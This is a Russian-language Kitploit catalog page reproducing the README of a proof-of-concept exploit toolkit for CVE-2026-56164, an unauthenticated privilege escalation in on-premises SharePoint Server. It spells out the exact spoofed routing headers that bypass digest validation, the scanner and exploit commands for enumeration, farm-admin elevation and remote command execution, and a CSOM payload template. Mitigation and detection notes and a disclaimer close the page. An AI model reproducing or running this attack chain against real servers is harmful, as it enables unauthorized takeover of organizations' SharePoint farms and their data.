Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
POC-CVE-2026-56164-exploit — CVE-2026-56164 — критическая уязвимость, связанная с отсутствием аутентификации, затрагивающая локальную версию (on-premises) Microsoft SharePoint Server. Она позволяет неаутентифицированным удалённым злоумышленникам повышать привилегии по сети. | Kitploit
Инструменты/GitHubGitHub/sam00/poc-cve-2026-56164-exploit
Аутентификация и авторизацияПовышение привилегийСканеры уязвимостейГенерация полезной нагрузкиЭксплуатацияЭксплуатация веб-приложенийСбор информацииТестирование на Проникновение

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHub
sam00/poc-cve-2026-56164-exploit

POC-CVE-2026-56164-exploit

CVE-2026-56164 — критическая уязвимость, связанная с отсутствием аутентификации, затрагивающая локальную версию (on-premises) Microsoft SharePoint Server. Она позволяет неаутентифицированным удалённым злоумышленникам повышать привилегии по сети.

Репозиторий
215 дней назадЕщё не проверено

CVE-2026-56164 — Эксплойт обхода аутентификации Microsoft SharePoint Server

Критическая (CVSS 9.8) — Неаутентифицированное повышение привилегий до администратора фермы в Microsoft SharePoint Server

Оглавление

  • Обзор
  • Детали уязвимости
  • Затронутые версии
  • Диаграммы архитектуры
  • Структура проекта
  • Установка
  • Использование сканера — пошагово
  • Использование эксплойта — пошагово
  • Разработка полезной нагрузки
  • Меры по устранению
  • Отказ от ответственности

Обзор

CVE-2026-56164 — это критическая уязвимость отсутствия аутентификации в Microsoft SharePoint Server, которая позволяет неаутентифицированному удалённому злоумышленнику повысить привилегии до уровня администратора фермы. Уязвимость находится в сборке Microsoft.Office.Server.UserProfiles, которая обрабатывает SOAP-запросы по адресу /_vti_bin/client.svc/ProcessQuery.

Намеренно опуская заголовок X-RequestDigest и передавая определённые заголовки маршрутизации, уязвимый сервер переходит в повышенный контекст безопасности вместо того, чтобы отклонить неаутентифицированный запрос. Это позволяет анонимным злоумышленникам перечислять семейства сайтов, пользователей, конфигурацию фермы, добавлять администраторов и выполнять команды.

CISA KEV: Эта уязвимость включена в каталог известных эксплуатируемых уязвимостей CISA из-за активной эксплуатации в дикой природе.


Детали уязвимости

Корневая причина

Обработчик Microsoft.Office.Server.UserProfiles обрабатывает SOAP-запросы по адресу /_vti_bin/client.svc/ProcessQuery. При нормальной работе SharePoint проверяет заголовок X-RequestDigest, чтобы подтвердить контекст аутентификации. Однако существует обход проверки:

  1. Если X-RequestDigest отсутствует И присутствуют определённые заголовки маршрутизации
  2. Система оценивает параметры маршрутизации и переходит в состояние по умолчанию с высокими привилегиями
  3. Запрос обрабатывается с учётными данными уровня системы вместо контекста безопасности вызывающего

Уязвимый путь выполнения кода

root@kitploit:~
// Vulnerable: If digest is missing, handler checks routing headers
if (string.IsNullOrEmpty(digest) && CheckSpecialRoutingHeaders(context)) {
    // Bypasses standard identity validation → elevated admin session
    InitializeElevatedSecurityContext(context);
} else {
    ValidateRequestDigest(digest);  // Normal path
}

Исправленный код

root@kitploit:~
// Patched: Digest validation is unconditional
if (string.IsNullOrEmpty(digest)) {
    context.Response.StatusCode = 401;
    throw new UnauthorizedAccessException("Missing request digest.");
}
ValidateRequestDigest(digest);
InitializeStandardSecurityContext(context);

Справочные материалы

  • MSRC: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56164
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-56164
  • CISA KEV: https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-56164

Затронутые версии

ПродуктЗатронутые версииИсправленная версия
SharePoint Enterprise Server 2016All 16.0.x prior to patch16.0.5561.1001
SharePoint Server 2019All 16.0.x prior to patch16.0.10417.20175

Не затронуто: SharePoint Online (Microsoft 365)


Диаграммы архитектуры

Системная архитектура

root@kitploit:~
┌─────────────────────────────────────────────────────────────────────┐
│                   CVE-2026-56164 Exploit Toolkit                     │
├─────────────────────────────────────────────────────────────────────┤
│                                                                      │
│  ┌────────────┐     ┌─────────────────┐     ┌────────────────────┐  │
│  │  scan.py   │────▶│  HTTP Fingerprint│     │  payload_gen.py    │  │
│  │  Scanner   │     │  + Version Check │     │                    │  │
│  └────────────┘     └─────────────────┘     │  ┌──────────────┐  │  │
│         │                                   │ │ CSOM Payloads│  │  │
│         │  Reports:                         │  │ (detection,  │  │  │
│         │  • SharePoint detected?           │  │  enum,       │  │  │
│         │  • Server version                 │  │  elevate,    │  │  │
│         │  • Vulnerable?                    │  │  execute)    │  │  │
│         │  • Auth bypass confirmed?         │  └──────────────┘  │  │
│         ▼                                   │  ┌──────────────┐  │  │
│  ┌────────────┐     ┌─────────────────┐     │  │ SOAP Payloads│  │  │
│  │ exploit.py │────▶│  HTTP Request   │     │  │ (admin, exec)│  │  │
│  │  Exploit   │     │  Delivery       │     │  └──────────────┘  │  │
│  └────────────┘     └─────────────────┘     │  ┌──────────────┐  │  │
│         │                                   │ │ Bypass       │  │  │
│         │  ┌──────────────────────┐         │  │ Headers      │  │  │
│         ├─▶│ MODE: detect         │         │  │ (routing)    │  │  │
│         │  │ Safe, non-intrusive  │         │  └──────────────┘  │  │
│         │  └──────────────────────┘         │  ┌──────────────┐  │  │
│         │  ┌──────────────────────┐         │  │ HTTP Request │  │  │
│         ├─▶│ MODE: enumerate      │         │  │ Builder      │  │  │
│         │  │ Sites, users, config │         │  └──────────────┘  │  │
│         │  └──────────────────────┘         └────────────────────┘  │
│         │  ┌──────────────────────┐                                 │
│         ├─▶│ MODE: elevate        │     ┌──────────────────────┐    │
│         │  │ Add site/farm admin  │     │ Target SharePoint    │    │
│         │  └──────────────────────┘     │ /_vti_bin/client.svc │    │
│         │  ┌──────────────────────┐     │ /_vti_bin/SPAdmin    │    │
│         └─▶│ MODE: execute        │     └──────────────────────┘    │
│            │ System commands      │                                 │
│            └──────────────────────┘                                 │
│         │  ┌──────────────────────┐                                 │
│         └─▶│ MODE: full           │  detect→enum→elevate→execute    │
│            └──────────────────────┘                                 │
└─────────────────────────────────────────────────────────────────────┘

Поток сканера

root@kitploit:~
┌─────────────┐
│  Start Scan │
└──────┬──────┘
       │
       ▼
┌──────────────────┐     No     ┌─────────────┐
│ Target reachable?│──────────▶│  Skip       │
└──────┬───────────┘            └─────────────┘
       │ Yes
       ▼
┌──────────────────┐
│ Send HTTP GET    │
│ to common ports  │
│ (443,80,8080,    │
│  8443)           │
└──────┬───────────┘
       │
       ▼
┌──────────────────┐     No     ┌─────────────┐
│ SharePoint       │──────────▶│ Not SP      │
│ fingerprint?     │            └─────────────┘
│ (MSST header,    │
│  _vti_bin,       │
│  suitebar, etc.) │
└──────┬───────────┘
       │ Yes
       ▼
┌──────────────────┐
│ Extract version  │
│ from MSST header │
│ / response body  │
└──────┬───────────┘
       │
       ▼
┌──────────────────┐     No     ┌─────────────┐
│ Version in       │──────────▶│ Not         │
│ vulnerable       │            │ vulnerable  │
│ range?           │            └─────────────┘
└──────┬───────────┘
       │ Yes
       ▼
┌──────────────────┐
│ Test auth bypass │
│ (CSOM req w/o    │
│  digest + bypass │
│  headers)        │
└──────┬───────────┘
       │
       ▼
┌──────────────────┐
│ Report:          │
│ • VULNERABLE     │
│ • Version        │
│ • Bypass status  │
│ • SSL cert info  │
└──────────────────┘

Поток эксплойта (полная цепочка)

root@kitploit:~
┌──────────────────────────────────────────────────────────────────┐
│  FULL EXPLOIT CHAIN                                              │
│                                                                  │
│  1. Detect — Authentication Bypass                               │
│  ┌──────────────────────────────────────────────────────────┐   │
│  │  POST /_vti_bin/client.svc/ProcessQuery                  │   │
│  │  [NO X-RequestDigest]                                    │   │
│  │  X-SharePoint-Authenticated: 1                           │   │
│  │  X-SP-RequestRights: FullControl                         │   │
│  │  SPHomeBearerHint: farmadmin                             │   │
│  │  Body: CSOM detection payload                            │   │
│  │                                                          │   │
│  │  → If 200: AUTH BYPASS CONFIRMED                         │   │
│  │  → If 401: Not vulnerable                                │   │
│  └──────────────────────────────────────────────────────────┘   │
│                           │                                      │
│  2. Enumerate            ▼                                      │
│  ┌──────────────────────────────────────────────────────────┐   │
│  │  Enumerate site collections (URL, owner, status)         │   │
│  │  Enumerate users (account, display name, email, admin)   │   │
│  │  Retrieve farm config (DB name, server, farm ID)         │   │
│  └──────────────────────────────────────────────────────────┘   │
│                           │                                      │
│  3. Elevate             ▼                                      │
│  ┌──────────────────────────────────────────────────────────┐   │
│  │  SetIsSiteAdmin(true) → Current context = Site Admin     │   │
│  │  AddUserToWeb → Add specific user as Farm Administrator  │   │
│  └──────────────────────────────────────────────────────────┘   │
│                           │                                      │
│  4. Execute             ▼                                      │
│  ┌──────────────────────────────────────────────────────────┐   │
│  │  POST /_vti_bin/SharePointAdmin.asmx                     │   │
│  │  Body: ExecuteCommand SOAP payload                       │   │
│  │  → System command executed with farm-level privileges    │   │
│  └──────────────────────────────────────────────────────────┘   │
└──────────────────────────────────────────────────────────────────┘

Структура проекта

root@kitploit:~
POC-CVE-2026-56164-exploit/
├── payload_gen.py      # Payload generation (CSOM, SOAP, bypass headers)
├── scan.py             # Vulnerability scanner (SharePoint detection + version check)
├── exploit.py          # Exploit orchestrator (detect/enumerate/elevate/execute/full)
├── requirements.txt    # Python dependencies
└── README.md           # This file

Установка

root@kitploit:~
# Clone the repository
git clone [email protected]:sam00/POC-CVE-2026-56164-exploit.git
cd POC-CVE-2026-56164-exploit

# Install dependencies
pip3 install -r requirements.txt

Требования: Python 3.8+, библиотека requests (необязательно — по умолчанию используется стандартный модуль urllib).


Использование сканера — пошагово

Сканер выполняет безопасные, неинтрузивные проверки для выявления уязвимых целевых серверов SharePoint Server.

Шаг 1: Сканирование одной цели

root@kitploit:~
python3 scan.py --target sharepoint.example.com

Сканер выполнит:

  • Проверит распространённые порты (443, 80, 8080, 8443)
  • Отправит HTTP-запросы и проверит наличие сигнатур SharePoint (заголовки, содержимое тела)
  • Извлечёт версию SharePoint из заголовка MicrosoftSharePointTeamServices
  • Проверит, попадает ли версия в уязвимые диапазоны
  • Протестирует обход аутентификации (необязательно)
  • Выведет цветной отчёт

Шаг 2: Сканирование с указанием порта

root@kitploit:~
python3 scan.py --target sharepoint.example.com --port 443

Шаг 3: Сканирование нескольких целей из файла

Создайте файл targets.txt:

root@kitploit:~
sharepoint1.example.com
sharepoint2.example.com
10.0.0.5
# Comments are ignored
root@kitploit:~
python3 scan.py --targets targets.txt

Шаг 4: Пропуск проверки обхода (только определение версии)

root@kitploit:~
python3 scan.py --target sharepoint.example.com --no-bypass-test

Шаг 5: Сохранение результатов в JSON

root@kitploit:~
python3 scan.py --target sharepoint.example.com --json scan_results.json

Что обнаруживает сканер


Использование эксплойта — пошагово

Эксплойт поддерживает пять режимов возрастающей интенсивности.

Режим 1: Обнаружение (безопасно, неинтрузивно)

Проверяет обход аутентификации, сравнивая обычный запрос (с digest) и запрос с обходом (без digest + заголовки маршрутизации).

root@kitploit:~
python3 exploit.py --target sharepoint.example.com --mode detect

Режим 2: Перечисление (раскрытие информации)

Извлекает семейства сайтов, пользователей и конфигурацию фермы с помощью обхода аутентификации.

root@kitploit:~
python3 exploit.py --target sharepoint.example.com --mode enumerate

Режим 3: Повышение привилегий

Повышает текущий анонимный контекст или конкретного пользователя до администратора семейства сайтов / администратора фермы.

root@kitploit:~
# Elevate current context
python3 exploit.py --target sharepoint.example.com --mode elevate

# Elevate specific user
python3 exploit.py --target sharepoint.example.com --mode elevate --login "DOMAIN\\attacker"

Режим 4: Выполнение команд

Выполняет системную команду через SOAP-сервис администрирования SharePoint.

root@kitploit:~
python3 exploit.py --target sharepoint.example.com --mode execute --command "whoami"

Режим 5: Полная цепочка (Detect → Enumerate → Elevate → Execute)

Запускает полную цепочку эксплойта последовательно.

root@kitploit:~
python3 exploit.py --target sharepoint.example.com --mode full --command "whoami"

Общие параметры

  • --port / -p: Порт цели (по умолчанию: 443)
  • --http: Использовать HTTP вместо HTTPS
  • --site-url / -s: URL сайта SharePoint (по умолчанию: цель)
  • --json / -j: Сохранить отчёт в формате JSON
  • --timeout: Время ожидания запроса в секундах (по умолчанию: 30)

Разработка полезной нагрузки

Механизм обхода аутентификации

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│  HTTP Request to /_vti_bin/client.svc/ProcessQuery             │
├─────────────────────────────────────────────────────────────────┤
│  POST /_vti_bin/client.svc/ProcessQuery HTTP/1.1              │
│  Host: sharepoint.example.com                                  │
│  Content-Type: text/xml; charset=utf-8                         │
│  [X-RequestDigest: OMITTED]                                    │
│  X-SharePoint-Authenticated: 1                                 │
│  X-SP-RequestRights: FullControl                               │
│  X-SP-RequestRights2: ManageLists, ManageWeb                   │
│  SPHomeBearerHint: farmadmin                                   │
│  X-RequestForceAuthentication: false                           │
│  X-SP-Proxy: internal                                          │
│  X-Forwarded-For: 127.0.0.1                                    │
│  X-Original-URL: /_vti_bin/client.svc/ProcessQuery             │
│                                                                 │
│  [CSOM/SOAP Payload Body]                                      │
└─────────────────────────────────────────────────────────────────┘
         │
         ▼
┌─────────────────────────────────────────────────────────────────┐
│  Vulnerable SharePoint Server                                   │
│                                                                 │
│  1. digest = Headers["X-RequestDigest"]  → NULL                │
│  2. CheckSpecialRoutingHeaders(context)  → TRUE (≥3 headers)   │
│  3. InitializeElevatedSecurityContext()  → FARM ADMIN          │
│  4. Process SOAP request with system-level credentials          │
└─────────────────────────────────────────────────────────────────┘

Структура CSOM-полезной нагрузки

root@kitploit:~
<?xml version="1.0" encoding="utf-8"?>
<Request xmlns="http://schemas.microsoft.com/sharepoint/clientquery/2009"
         ApplicationName="SharePointExploit"
         LibraryVersion="16.0.0"
         RequestId="{UUID}">
  <Actions>
    [Detection / Enumeration / Elevation actions]
  </Actions>
  <Context>
    <ContextId>Current</ContextId>
    <Version>16.0.0</Version>
    <SiteUrl>{TARGET}</SiteUrl>
  </Context>
</Request>

Заголовки маршрутизации для обхода


Меры по устранению

Немедленные действия

  1. Установите обновления безопасности Microsoft — установите исправления SharePoint за июль 2026 года
  2. Ограничьте доступ — ограничьте конечные точки SharePoint только доверенными сетями
  3. Заблокируйте внешний доступ к конечным точкам /_vti_bin/ с помощью правил обратного прокси/WAF
  4. Отслеживайте журналы на предмет неаутентифицированных запросов к /_vti_bin/client.svc/ProcessQuery

Исправленные версии

  • SharePoint Enterprise Server 2016: 16.0.5561.1001+
  • SharePoint Server 2019: 16.0.10417.20175+
  • SharePoint Server Subscription Edition: 16.0.19725.20434+

Обнаружение

  • Ищите POST-запросы к /_vti_bin/client.svc/ProcessQuery без заголовка X-RequestDigest
  • Ищите запросы с несколькими заголовками маршрутизации для обхода (X-SharePoint-Authenticated, SPHomeBearerHint и т. д.)
  • Отслеживайте неожиданные добавления администраторов семейства сайтов
  • Сигнализируйте о SOAP-запросах к /_vti_bin/SharePointAdmin.asmx из неаутентифицированных источников

Отказ от ответственности

Этот инструмент предоставляется только для авторизованного тестирования безопасности и образовательных целей. Используйте его только против систем, которыми вы владеете или на тестирование которых имеете явное письменное разрешение. Несанкционированное использование против производственных систем незаконно и может нарушать законы о компьютерном мошенничестве и злоупотреблениях.

Авторы не несут ответственности за неправильное использование этого инструмента. Всегда следуйте практике ответственного раскрытия уязвимостей и соблюдайте применимые законы и нормативные требования.

Скачать инструмент
ПолеЗначение
CVE IDCVE-2026-56164
SeverityКРИТИЧЕСКАЯ
CVSS 3.19.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWECWE-306: Отсутствие аутентификации для критически важной функции
ImpactНеаутентифицированное повышение привилегий до администратора фермы
Exploitation StatusАктивная эксплуатация (CISA KEV)
MITRE ATT&CKT1190 (Эксплуатация публично доступного приложения)
SharePoint Server Subscription EditionAll 16.0.x prior to patch16.0.19725.20434
ИндикаторМетод
Сервер SharePointОпределение по HTTP-заголовкам (MicrosoftSharePointTeamServices, SPRequestGuid)
Версия сервераРазбор заголовков + регулярные выражения в теле ответа
Уязвимая версияСравнение с исправленными версиями CVE-2026-56164
Обход аутентификацииCSOM-запрос без X-RequestDigest + заголовки маршрутизации для обхода
SSL-сертификатСубъект/издатель сертификата для идентификации цели
ЗаголовокЗначениеНазначение
X-SharePoint-Authenticated1Утверждает, что аутентификация уже пройдена
X-SP-RequestRightsFullControlЗапрашивает разрешения полного контроля
X-SP-RequestRights2ManageLists, ManageWebДополнительные права управления
SPHomeBearerHintfarmadminНамёк на контекст администратора фермы
X-RequestForceAuthenticationfalseОтключает принудительную аутентификацию
X-SP-ProxyinternalУтверждает внутреннее происхождение через прокси
X-Forwarded-For127.0.0.1Подделка локального источника
X-Original-URL/_vti_bin/client.svc/ProcessQueryДиректива маршрутизации